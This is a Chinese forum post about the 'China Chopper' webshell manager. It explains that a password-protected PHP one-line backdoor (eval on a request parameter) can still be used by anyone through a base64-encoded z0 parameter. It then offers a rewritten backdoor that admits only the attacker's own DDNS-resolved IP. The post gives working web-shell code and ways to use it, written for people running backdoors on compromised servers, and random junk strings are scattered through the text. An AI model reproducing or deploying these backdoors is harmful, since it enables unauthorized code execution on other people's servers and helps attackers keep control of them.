今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞& l3 T* M" O$ W% Q
; M( R+ N+ s2 V9 G. J, Y就算你设置了密码,使用了eval($_REQUEST['moyo']);
9 k1 L1 Q/ p0 k! d3 E# Y+ e* k
8 ~% X: c; m7 d& P& {7 @但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门' H0 I9 Q5 N) e9 r
. G# b6 i4 ^; c" z因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
: D V8 r$ V' D, _; `+ O+ X0 [3 A ? K* j
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了% p7 I/ F9 @" V* `7 y$ ?- [
) i' O+ W& L% T& H
不知道是设计缺陷还是故意留的后门
1 B( _, ^6 }$ B6 m" S- F" D& V3 y2 M4 c! N( {& e
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用6 E" k) B# i( ~- W! `7 p+ w
& P- V0 A0 f, e% P% k; r7 W
本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org/ R% V* {3 ^* O. Q3 Q, L2 H/ S; \
" Q$ O7 ?: `1 d( l! M- H% A
然后一句话后门这样写
U* u2 G6 I$ J: M( c# s( u' V A% F r- N9 y
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>6 W9 }6 K8 m L/ P
这样就可以让一句话后门只允许自己的电脑连接了3 n7 c6 p, S2 ]8 S H7 u. ^ S+ b ~1 b: C
/ j/ i3 \% H; ^3 z; Z2 Q
|